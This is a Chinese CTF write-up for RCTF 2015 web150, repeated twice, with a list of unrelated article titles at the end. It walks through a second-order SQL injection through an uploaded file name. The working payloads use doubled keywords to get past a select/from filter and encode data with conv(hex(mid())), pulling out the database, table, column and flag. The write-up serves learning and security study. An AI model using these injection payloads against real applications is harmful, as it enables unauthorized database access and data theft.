2015年rctf web150 (Update set 二次注入)
来源:互联网 发布:河南教师网络培训平台 编辑:程序博客网 时间:2024/06/08 04:52
坦诚说,这次的题目脑洞有的大
http://180.76.178.54:8001/17752375bfee20369364468686989278/memberpage.php
此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入:
文件名有注入漏洞:
首先先了解几个函数的意义:
mid(),hex(),conv()
mid():MID(str,pos,len)
从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。
mysql> select SUBSTRING('Quadratically',5,6);
-> 'ratica'
hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。
mysql> select HEX(255);
-> 'FF'
CONV(N,from_base,to_base)
在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。
mysql> select conv(100,10,2);
+----------------+
| conv(100,10,2) |
+----------------+
| 1100100 |
+----------------+
有了这些之后我们开始进攻了:
(1)首先爆数据库名:
a'+conv(hex((selselectect mid((selselectect database()),1,6))),16,10)+'a.jpg
因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替
结果:
131277325825392
这样就在页面页面显示出来了数据库名的部分,只不过这些字符串被转换成了十进制,我们现在在把他们转出来
web_up
这些只是一部分,我们把mid的参数变换一下,把数据库的名字爆完全
a'+conv(hex((selselectect mid((selselectect database()),5,6))),16,10)+'a.jpg
结果:
129125716025700
转换的结果:
upload
我们把数据库的名字拼接完整就可以得到想要的数据库的名字:
web_upload
(2)我们下面来爆表:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),1,6))),16,10)+'a.jpg
结果是
114784820031327
转换后:
hello_
我们再做一下偏移:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),5,6))),16,10)+'a.jpg
结果是:
122455530955111
转换后:
o_flag
我们继续偏移:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),11,6))),16,10)+'a.jpg
结果是:
104906511837285
转换后:
_is_he
我们这样继续,然后爆出关键的表:
hello_flag_is_here
(3)我们爆字段:
a'+conv(hex((sselectelect mid((seselectlect column_name frfromom information_schema.columns where table_name=0x68656C6C6F5F666C61675F69735F68657265 limit 0,1),1,6))),16,10)+'a.jpg
然后出了字段:
i_am_flag
我们爆数据:
a'+conv(hex((sselectelect mid((selselectect i_am_flag frofromm hello_flag_is_here),1,6))),16,10)+'a.jpg
我们这样爆出了数据:
RCTF{!!_@m_Th.e_F!lag}
217的做法是………………
看了一下,发现要累断手,尤其那个验证码拖得要死人了
http://insight-labs.org/?p=1987
http://180.76.178.54:8001/17752375bfee20369364468686989278/memberpage.php
此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入:
文件名有注入漏洞:
首先先了解几个函数的意义:
mid(),hex(),conv()
mid():MID(str,pos,len)
从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。
mysql> select SUBSTRING('Quadratically',5,6);
-> 'ratica'
hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。
mysql> select HEX(255);
-> 'FF'
CONV(N,from_base,to_base)
在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。
mysql> select conv(100,10,2);
+----------------+
| conv(100,10,2) |
+----------------+
| 1100100 |
+----------------+
有了这些之后我们开始进攻了:
(1)首先爆数据库名:
a'+conv(hex((selselectect mid((selselectect database()),1,6))),16,10)+'a.jpg
因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替
结果:
131277325825392
这样就在页面页面显示出来了数据库名的部分,只不过这些字符串被转换成了十进制,我们现在在把他们转出来
web_up
这些只是一部分,我们把mid的参数变换一下,把数据库的名字爆完全
a'+conv(hex((selselectect mid((selselectect database()),5,6))),16,10)+'a.jpg
结果:
129125716025700
转换的结果:
upload
我们把数据库的名字拼接完整就可以得到想要的数据库的名字:
web_upload
(2)我们下面来爆表:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),1,6))),16,10)+'a.jpg
结果是
114784820031327
转换后:
hello_
我们再做一下偏移:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),5,6))),16,10)+'a.jpg
结果是:
122455530955111
转换后:
o_flag
我们继续偏移:
a'+conv(hex((selselectect mid((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),11,6))),16,10)+'a.jpg
结果是:
104906511837285
转换后:
_is_he
我们这样继续,然后爆出关键的表:
hello_flag_is_here
(3)我们爆字段:
a'+conv(hex((sselectelect mid((seselectlect column_name frfromom information_schema.columns where table_name=0x68656C6C6F5F666C61675F69735F68657265 limit 0,1),1,6))),16,10)+'a.jpg
然后出了字段:
i_am_flag
我们爆数据:
a'+conv(hex((sselectelect mid((selselectect i_am_flag frofromm hello_flag_is_here),1,6))),16,10)+'a.jpg
我们这样爆出了数据:
RCTF{!!_@m_Th.e_F!lag}
217的做法是………………
看了一下,发现要累断手,尤其那个验证码拖得要死人了
http://insight-labs.org/?p=1987
0 0
- 2015年rctf web150 (Update set 二次注入)
- 二次sql注入
- ecshop二次注入
- 二次注入审计问题
- 二次sql注入
- urldecode()二次解码引发注入
- update set from
- mysql update set
- mysql update set
- update set from
- 关于update set from
- Sql select update set
- update set from where
- mysql: update from set
- update set from where
- update select set
- update 表名 set
- RCTF crypto100(1)
- 苹果安卓承包移动整片鱼塘推android/IOS开发进化
- 动态规划算法的一般解题思路
- bat-SETLOCAL
- maven安装的问题
- Android
- 2015年rctf web150 (Update set 二次注入)
- bat-setlocal enabledelayedexpansion
- poj 2527 Polynomial Remains 模拟多项式的除法
- Hibernate的注解
- 理解JS的函数(Function)基础
- 详解:腾讯帝国将会如何走向灭亡!!
- 一元线性回归模型与最小二乘法及其C++实现
- MySQL-group_concat函数用法-生成签到日期序列
- Apache 使用localhost(127.0.0.1)可以访问,使用本机IP(局域网)不能访问